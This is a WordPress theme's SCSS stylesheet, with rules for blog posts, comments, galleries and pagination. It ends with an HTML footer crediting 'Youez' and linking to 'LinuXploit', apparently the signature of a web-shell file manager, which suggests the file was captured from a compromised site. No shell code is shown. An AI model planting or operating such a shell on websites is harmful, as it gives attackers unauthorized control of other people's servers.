    header.bg-transparent {
      @media #{$sm} {
        padding-top: 10px;
      }
    }

    .offcanvas-end {
      @media #{$lg} {
        padding-top: 55px;
      }
    }

    .offcanvas__close {
      @media #{$lg} {
        top: 35px;
      }

      @media #{$md} {
        top: 50px;
      }
    }


  }



  .clearfix {
    clear: both;
  }

  select {
    padding: 10px 12px;
    color: var(--black-2);
    border: 1px solid #ddd;
    text-transform: capitalize;
    border-radius: 5px;
    outline: none;
    appearance: none;
    cursor: pointer;
    background-image: url(&quot;data:image/svg+xml,%3Csvg xmlns=&#039;http://www.w3.org/2000/svg&#039; height=&#039;24px&#039; viewBox=&#039;0 0 24 24&#039; width=&#039;24px&#039; fill=&#039;%23212121&#039;%3E%3Cpath d=&#039;M24 24H0V0h24v24z&#039; fill=&#039;none&#039; opacity=&#039;1&#039;/%3E%3Cpath d=&#039;M16.59 8.59L12 13.17 7.41 8.59 6 10l6 6 6-6-1.41-1.41z&#039;/%3E%3C/svg%3E&quot;);
    background-position-x: calc(100% - 7px);
    background-position-y: 50%;
    background-repeat: no-repeat;
  }

  .wp-block-comments-title {
    font-size: 30px;
    margin-bottom: 30px;

    @media #{$sm} {
      font-size: 24px;
    }
  }

  .wp-block-post-comments-form .comment-reply-title {
    font-size: 30px;

    @media #{$sm} {
      font-size: 24px;
    }
  }

  .page-links {
    gap: 10px;
    display: flex;
    align-items: center;
  }

  blockquote,
  .wp-block-quote {
    border-left-width: 5px;
    border-left-style: solid;
    margin-block-start: 1.5rem;
    background: var(--primary);
    padding: 30px;
    border-radius: 5px;

    &amp;.has-text-align-right {
      border-right: 5px solid;
      border-left: 0;
    }

    p,
    cite {
      color: #fff;
    }
  }

  .wp-block-pullquote.is-style-solid-color {
    border-left: 5px solid;
    border-radius: 5px;
    background-color: var(--primary) !important;

    blockquote {
      border: 0;

      @media #{$lg} {
        max-width: 100%;

        p {
          line-height: 1.2;
          padding-bottom: 10px;
        }
      }

      @media #{$sm} {
        p {
          font-size: 36px;
        }
      }
    }
  }

  .sticky {
    background: var(--white-2);

    .default-blog__content {
      @media #{$sm} {
        padding: 15px 15px 25px;
      }
    }

  }

  .wp-block-search__input {
    min-width: 150px;
  }

  .alignright {
    text-align: right;
    margin-left: auto;
    display: inherit;
  }

  .aligncenter {
    margin-left: auto;
    margin-right: auto;
    text-align: center;
    display: inherit;
  }

  .wp-caption {
    width: 100% !important;
    margin-bottom: 1.5rem;
  }

  a {
    transition: all 0.3s;
  }

  .wp-caption-text {
    margin-top: 5px;
  }

  .default {
    &amp;-blog {
      &amp;__item-single {
        &amp;.post-single {
          border: 0;
        }
      }

      &amp;__details {
        &amp;-content {
          overflow: hidden;

          img {
            height: auto;
          }

          h1,
          h2,
          h3,
          h4,
          h5,
          h6,
          table {
            margin-bottom: 1.5rem;
          }

          .wp-block-latest-comments li {
            list-style: none;
          }

          .wp-block-rss__item,
          .wp-block-latest-posts li {
            list-style: none;
            margin-bottom: 15px;
          }

          .comment,
          .trackback,
          .pingback {
            list-style: none;
          }

          .wp-block-post {
            list-style: none;
            margin-bottom: 1.5rem;

            &amp;-title {
              margin-bottom: 3px;
            }
          }

          .wp-block-post-author {
            margin-bottom: 10px;
          }

        }
      }
    }


    &amp;-details-tags {
      gap: 5px;
      display: flex;
      flex-wrap: wrap;
      margin: 40px 0 60px !important;

      @media #{$sm} {
        margin-top: 40px 0 !important;
      }

      li {
        list-style: none !important;

        a {
          background-color: #EFEFEF;
          padding: 8px 10px;
          font-size: 12px !important;
          text-transform: capitalize;
          display: inline-block;
          color: var(--black-2);
          font-weight: 600;

          &amp;:hover {
            color: #fff;
            background-color: var(--primary);
          }
        }
      }
    }

  }

  .wp-block-navigation__submenu-container {
    li {
      margin-bottom: 7px;
      padding-left: 15px;
      padding-right: 15px;
    }
  }

  .wp-block-avatar {
    margin-bottom: 7px;
  }

  .wp-block-latest-posts li a:hover,
  .wp-block-categories li a:hover,
  .wp-block-archives li a:hover {
    color: var(--primary);
  }

  #today {
    color: var(--primary);
  }

  .wp-block-tag-cloud {
    display: flex;
    flex-wrap: wrap;
    gap: 5px;

    a {
      margin: 0;
      background-color: #EFEFEF;
      padding: 8px 10px;
      font-size: 12px !important;
      text-transform: capitalize;
      color: var(--black-2);
      font-weight: 600;
      transition: 0.5s;
      text-decoration: none;

      &amp;:hover {
        color: var(--white);
        background-color: var(--primary);
      }
    }
  }

  .has-pale-cyan-blue-background-color {
    padding: 15px;

    p {
      margin-bottom: 0;
    }
  }

  .has-background {
    padding: 15px;
  }

  .is-layout-constrained p {
    margin: 0;
  }

  .has-pale-pink-background-color {
    padding: 15px;

    p {
      margin-bottom: 0;
    }
  }

  .joya--comment .comment-notes {
    margin-bottom: 50px;
  }

  .wp-block-pullquote,
  .has-large-font-size {
    @media #{$md} {
      font-size: 24px !important;
    }
  }

  .is-style-squared {
    .wp-block-button__link {
      border-radius: 0;
    }
  }

  .wp-block-post-excerpt__excerpt {
    margin-bottom: 1.5rem;
  }

  .comment-form-cookies-consent {
    margin-top: 10px;

    label {
      display: inline;
    }
  }

  .wp-block-query-pagination {
    margin-bottom: 15px;
  }

  ul.joya--comments-list.comments-list {
    margin: 0;
  }

  ul.blocks-gallery-grid {
    margin: 0;
  }

  .default-details-comment-meta {
    overflow: hidden;
  }

  th,
  td {
    padding: 8px;

    @media #{$md} {
      padding: 5px 6px;
    }
  }

  table {
    display: table;
    overflow-x: auto;
    white-space: nowrap;
    width: 100%;
  }

  table tbody {
    width: 100%;
  }

  .post-page-numbers:hover {
    color: var(--primary);
  }

  iframe {
    width: 100%;
    max-width: 100%;

    @media #{$sm} {
      height: 360px;
    }
  }

  .wp-block-post-excerpt {
    margin-top: 5px;
  }

  .wp-block-post-date {
    margin-top: 10px;
    margin-bottom: 10px;
  }

  .wp-block-post-comments-form input[type=submit] {
    border: none;
    border-radius: 0;
    padding: 18px 40px;
    font-weight: 600;
    font-size: 16px;
    line-height: 1.5;
    color: var(--white);
    background-color: var(--primary);
    transition: all 0.3s linear;
    display: inline-flex;
    align-items: center;
    overflow: hidden;
    gap: 10px;

    &amp;:hover {
      color: var(--white);
      background-color: var(--black-2);
    }
  }

  input,
  textarea,
  select,
  button {
    outline: none;
  }

  .post-password-form {
    input[type=password] {
      padding: 8px;

      @media #{$sm} {
        width: 130px;
      }
    }

    input[type=submit] {
      border: none;
      border-radius: 0;
      padding: 10px 20px;
      font-weight: 600;
      font-size: 16px;
      line-height: 1.5;
      color: var(--white);
      background-color: var(--primary);
      transition: all 0.3s;
      display: inline-flex;
      align-items: center;
      overflow: hidden;
      gap: 10px;
      border-radius: 3px;

      &amp;:hover {
        color: var(--white);
        background-color: var(--black-2);
      }
    }
  }

  .has-4-columns {
    margin-top: 1.5rem;
  }

  .wp-block-archives-dropdown label {
    margin-bottom: 10px;
  }

  .wp-block-embed__wrapper {
    word-break: break-word;
  }

  .wp-block-file__button {
    padding: 10px 18px;
    transition: all 0.3s;
    background: var(--primary);
  }

  .wp-block-search__label {
    margin-top: 15px;
    margin-bottom: 10px;
  }

  @media #{$md} {
    .joya--comments-list .has-reply .children {
      margin-inline-start: 20px;
    }


  }

  @media #{$sm} {
    .joya--comments-list .has-reply .children {
      margin-inline-start: 10px;
    }

    .default-details-comment-wrapper {
      grid-template-columns: 1fr;
    }

    .joya--comments-list .has-reply .comment-body::before {
      display: none;
    }

  }

  @media (max-width: 374px) {
    .wp-block-search__inside-wrapper {
      flex-wrap: wrap;
    }

    .wp-block-search__button {
      margin-left: 0;
      margin-top: 10px;
      width: 100%;
    }

    .default-sidebar__widget.widget_search {
      padding: 0px 20px;
    }
  }

  .wp-block-latest-comments__comment {
    line-height: 1.5;
    margin-bottom: 10px;

    a {
      font-weight: 600;
      transition: all 0.3s;

      &amp;:hover {
        color: var(--primary);
      }
    }
  }

  .wp-block-latest-posts__list,
  .wp-block-categories-list,
  .wp-block-archives-list {
    margin-bottom: 0;

    li {
      font-weight: 600;

      a {
        padding-top: 5px;
        padding-bottom: 5px;
        display: inline-block;
      }
    }
  }


  .info--post-details {
    a {
      &amp;:hover {
        color: var(--primary);
      }
    }

    select {
      width: 100%;
    }

    tbody,
    td,
    tfoot,
    th,
    thead,
    tr {
      border-width: 1px;

      a {
        text-decoration: none;
      }
    }

    ol:not([class]) {
      margin-left: 20px;
      margin-bottom: 20px;

      li {
        list-style: decimal;
        padding-top: 5px;
        padding-bottom: 5px;
      }

      ol {
        margin-bottom: 0;

        li {
          list-style: decimal;

          &amp;:last-child {
            padding-bottom: 0;
          }
        }
      }

      ul {
        margin-bottom: 0;

        li {
          list-style: disc;

          &amp;:last-child {
            padding-bottom: 0;
          }
        }

        ol {
          li {
            list-style: decimal;
          }
        }
      }
    }

    ul:not([class]) {
      margin-left: 20px;
      margin-bottom: 20px;

      li {
        list-style: disc;
        padding-top: 5px;
        padding-bottom: 5px;
      }

      ul {
        margin-bottom: 0;

        li {

          &amp;:last-child {
            padding-bottom: 0;
          }
        }
      }

      ol {
        margin-bottom: 0;

        li {
          list-style: decimal;

          &amp;:last-child {
            padding-bottom: 0;
          }
        }

        ul {
          li {
            list-style: disc;
          }
        }
      }

    }

    .wp-element-button,
    .wp-block-button__link {
      color: #fff;
      background-color: var(--primary);
      padding: calc(0.667em + 2px) calc(1.333em + 2px);
      transition: all 0.3s;

      @media #{$md} {
        padding: 10px 30px;
      }

      &amp;:hover {
        color: var(--white);
      }
    }

    :where(.wp-block-cover.is-light:not(.has-text-color)) {
      color: white;
    }

    .wp-block-page-list {
      gap: 10px;
      display: grid;
      margin-bottom: 30px;

      .wp-block-navigation__submenu-container {
        padding-top: 5px;
        margin-bottom: -5px;
        margin-left: 2px;
      }
    }

    p.wp-block-cover-text {
      position: relative;
    }

    .wp-block-categories-list,
    .wp-block-archives-list {
      margin-bottom: 20px;
    }

    .wp-calendar-table {
      display: inline-table;
    }

    .wp-block-file__button,
    .wp-block-button__link,
    .wp-element-button {
      text-decoration: none;

      &amp;:hover {
        background-color: #072032;
      }
    }

    .wp-block-file {
      display: flex;
      align-items: center;
      justify-content: space-between;
    }

    figure.aligncenter&gt;figcaption {
      display: block;
    }

    .wp-block-image .alignright&gt;figcaption {
      display: block;
    }

    .wp-block-gallery.wp-block-gallery-3 {
      margin-top: 15px;
    }

    .wp-block-calendar {
      padding-bottom: 20px;

      nav.wp-calendar-nav {
        display: flex;
        align-items: center;
        justify-content: space-between;
      }
    }

    .wp-block-separator {
      width: 10%;
      margin-left: auto;
      margin-right: auto;


      &amp;.is-style-wide {
        width: 100%;
      }

      &amp;.is-style-dots {
        width: 100%;
        opacity: 1;
      }
    }

    .gallery {
      &amp;.gallery-columns {
        &amp;-1 {
          padding-bottom: 20px;
        }

        &amp;-2 {
          display: grid;
          grid-template-columns: repeat(2, 1fr);
          padding-bottom: 20px;

          @media #{$sm} {
            grid-template-columns: 1fr;
          }
        }

        &amp;-3 {
          display: grid;
          grid-template-columns: repeat(3, 1fr);
          padding-bottom: 20px;

          @media #{$md} {
            grid-template-columns: 1fr 1fr;
          }

          @media #{$sm} {
            grid-template-columns: 1fr;
          }
        }

        &amp;-4 {
          display: grid;
          grid-template-columns: repeat(4, 1fr);
          padding-bottom: 20px;

          @media #{$lg} {
            grid-template-columns: repeat(3, 1fr);
          }

          @media #{$md} {
            grid-template-columns: 1fr 1fr;
          }

          @media #{$sm} {
            grid-template-columns: 1fr;
          }
        }

        &amp;-5 {
          display: grid;
          grid-template-columns: repeat(5, 1fr);
          padding-bottom: 20px;

          @media #{$xl} {
            grid-template-columns: repeat(4, 1fr);
          }

          @media #{$lg} {
            grid-template-columns: repeat(3, 1fr);
          }

          @media #{$md} {
            grid-template-columns: repeat(2, 1fr);
          }

          @media #{$sm} {
            grid-template-columns: 1fr;
          }
        }

        &amp;-6 {
          gap: 10px;
          display: grid;
          grid-template-columns: repeat(6, 1fr);
          padding-bottom: 20px;

          @media #{$xxl} {
            grid-template-columns: repeat(5, 1fr);
          }

          @media #{$xl} {
            grid-template-columns: repeat(4, 1fr);
          }

          @media #{$lg} {
            grid-template-columns: repeat(3, 1fr);
          }

          @media #{$md} {
            grid-template-columns: repeat(2, 1fr);
          }

          @media #{$sm} {
            grid-template-columns: 1fr;
          }
        }

        &amp;-7 {
          gap: 10px;
          display: grid;
          grid-template-columns: repeat(7, 1fr);
          padding-bottom: 20px;

          @media #{$xxl} {
            grid-template-columns: repeat(5, 1fr);
          }

          @media #{$xl} {
            grid-template-columns: repeat(4, 1fr);
          }

          @media #{$lg} {
            grid-template-columns: repeat(3, 1fr);
          }

          @media #{$md} {
            grid-template-columns: repeat(2, 1fr);
          }

          @media #{$sm} {
            grid-template-columns: 1fr;
          }
        }

        &amp;-8 {
          gap: 10px;
          display: grid;
          grid-template-columns: repeat(8, 1fr);
          padding-bottom: 20px;

          @media #{$xxl} {
            grid-template-columns: repeat(5, 1fr);
          }

          @media #{$xl} {
            grid-template-columns: repeat(4, 1fr);
          }

          @media #{$lg} {
            grid-template-columns: repeat(3, 1fr);
          }

          @media #{$md} {
            grid-template-columns: repeat(2, 1fr);
          }

          @media #{$sm} {
            grid-template-columns: 1fr;
          }
        }

        &amp;-9 {
          gap: 10px;
          display: grid;
          grid-template-columns: repeat(9, 1fr);
          padding-bottom: 20px;

          @media #{$xxl} {
            grid-template-columns: repeat(5, 1fr);
          }

          @media #{$xl} {
            grid-template-columns: repeat(4, 1fr);
          }

          @media #{$lg} {
            grid-template-columns: repeat(3, 1fr);
          }

          @media #{$md} {
            grid-template-columns: repeat(2, 1fr);
          }

          @media #{$sm} {
            grid-template-columns: 1fr;
          }
        }
      }
    }

    .post-navigation-link-previous,
    .post-navigation-link-next {
      padding-bottom: 10px;
    }

    .wp-block-query-pagination-numbers {
      display: flex;
    }

    .page-numbers,
    .post-page-numbers {
      color: #555;
      font-size: 16px;
      font-weight: 400;
      line-height: 1.5;
      width: 50px;
      height: 50px;
      border-radius: 100%;
      display: flex;
      align-items: center;
      justify-content: center;
      text-decoration: none;
      transition: all 0.3s;

      &amp;:hover {
        color: var(--primary);
      }

      &amp;.current {
        background-color: #F9F9F9;
      }
    }

    .wp-block-tag-cloud a {
      text-decoration: none;

      &amp;:hover {
        color: var(--white);
      }
    }

    .wp-block-search__button {
      position: relative;
      overflow: hidden;
      transition: all 0.75s;

      &amp;:hover {
        color: #fff;
        background-color: var(--black-2);
      }
    }

    .comment-form-comment {
      margin-bottom: 50px;

      @media #{$sm} {
        margin-bottom: 35px;
      }

      label {
        display: block;
        margin-bottom: 15px;
        color: #555555;
        font-size: 16px;
        font-weight: 400;
        line-height: 1;
        text-transform: capitalize;
      }

      input {
        width: 100%;
        height: 60px;
        padding: 20px;
        border: 0;
        background-color: #F5F5F5;
        color: var(--black-2);

        @media #{$md} {
          margin-bottom: 25px;
        }

        &amp;::placeholder {
          color: #999999;
          font-size: 16px;
          font-weight: 400;
          line-height: 1;
        }

        &amp;:focus {
          outline: 0;
        }
      }

      textarea {
        @extend input;
        height: 120px;
        resize: none;
      }
    }

    .wp-block-post-comments-form .form-submit {
      margin-bottom: 40px;
    }



  }

  .arolax-comment-text {

    tbody,
    td,
    tfoot,
    th,
    thead,
    tr {
      border-width: 1px;

      a {
        text-decoration: none;
      }
    }

    ol:not([class]) {
      margin-left: 20px;
      margin-bottom: 20px;

      li {
        list-style: decimal;
        padding-top: 5px;
        padding-bottom: 5px;
      }

      ol {
        margin-bottom: 0;

        li {
          list-style: decimal;

          &amp;:last-child {
            padding-bottom: 0;
          }
        }
      }

      ul {
        margin-bottom: 0;

        li {
          list-style: disc;

          &amp;:last-child {
            padding-bottom: 0;
          }
        }

        ol {
          li {
            list-style: decimal;
          }
        }
      }
    }

    ul:not([class]) {
      margin-left: 20px;
      margin-bottom: 20px;

      li {
        list-style: disc;
        padding-top: 5px;
        padding-bottom: 5px;
      }

      ul {
        margin-bottom: 0;

        li {

          &amp;:last-child {
            padding-bottom: 0;
          }
        }
      }

      ol {
        margin-bottom: 0;

        li {
          list-style: decimal;

          &amp;:last-child {
            padding-bottom: 0;
          }
        }

        ul {
          li {
            list-style: disc;
          }
        }
      }

    }

  }


}

.wcf-social-share-style-1 {
  width: 80px;
  height: 80px;
  border: 3px solid #555;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 36px;
  font-weight: 700;
  color: #555555;
  border-radius: 30px;
  border-bottom-width: 7px;
  border-right-width: 7px;
  border-top-width: 1px;
  border-left-width: 1px;
  background-color: #fff;
  margin: auto;
  margin-bottom: 20px;
  transition: 0.3s;
}

.comment-form-cookies-consent {
  display: none;
}


.joya--blog-post-comment form {
  gap: 30px;
}

.joya--blog-post-comment textarea {
  overflow: hidden;
}

.joya--blog-post-comment button[type=&quot;submit&quot;] {
  z-index: 1;
}

.default-details-social-media li a i {
  transition: all 0.3s;
}


// Page
.page-template-default {

  .post-page-numbers {
    color: #555;
    font-size: 16px;
    font-weight: 400;
    line-height: 1.5;
    width: 50px;
    height: 50px;
    border-radius: 100%;
    display: flex;
    align-items: center;
    justify-content: center;
    text-decoration: none;
    transition: all 0.3s;

    &amp;:hover {
      color: var(--primary);
    }

    &amp;.current {
      background-color: #F9F9F9;
    }
  }



  .arolax--page-details {

    a {
      text-decoration: underline;
      text-decoration-thickness: 1px;

      &amp;:hover {
        color: var(--primary);
      }
    }

    ul {
      padding-left: 20px;
      padding-bottom: 30px;

      li {
        list-style: disc;
        padding-bottom: 10px;

        &amp;:last-child {
          padding-bottom: 0;
        }
      }

      ul {
        padding-bottom: 0;
      }
    }

    ol {
      padding-left: 20px;
      padding-bottom: 30px;

      li {
        list-style: decimal;
        padding-bottom: 10px;

        &amp;:last-child {
          padding-bottom: 0;
        }
      }

      ol {
        padding-bottom: 0;
      }
    }


  }


}

.menu-icon-8.info-default-offcanvas {
  display: none;

  @media #{$lg} {
    display: block;
  }
}

.admin-bar #smooth-wrapper {
  top: 32px !important;
}

@media (max-width: 782px) {
  .admin-bar #smooth-wrapper {
    top: 46px !important;
  }
}

.d-flex {
  display: flex !important;
}

.flex-column {
  flex-direction: column !important;
}

.order-4 {
  order: 4 !important;
}

.order-5 {
  order: 5 !important;
}


.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item,
.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item,
.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item,
.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item,
.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item {
  @media #{$lg} {
    width: calc(25% - .875em);
  }

  @media #{$md} {
    width: calc(33% - .875em);
  }

  @media #{$sm} {
    width: calc(50% - .875em);
  }

}

.search-no-results .default-search__again-form form input {
  padding: 20px 50px 20px 0;
}

.default-blog__style-2.sticky {
  padding: 30px;
}

.scr_only {
  position: absolute;
  width: 1px;
  height: 1px;
  margin: -1px;
  padding: 0;
  overflow: hidden;
  clip: rect(0, 0, 0, 0);
  border: 0;
}</pre><center><br>Youez - 2016 - github.com/yon3zu<br><a href='https://linuxploit.com/' target='_blank'>LinuXploit</a></center>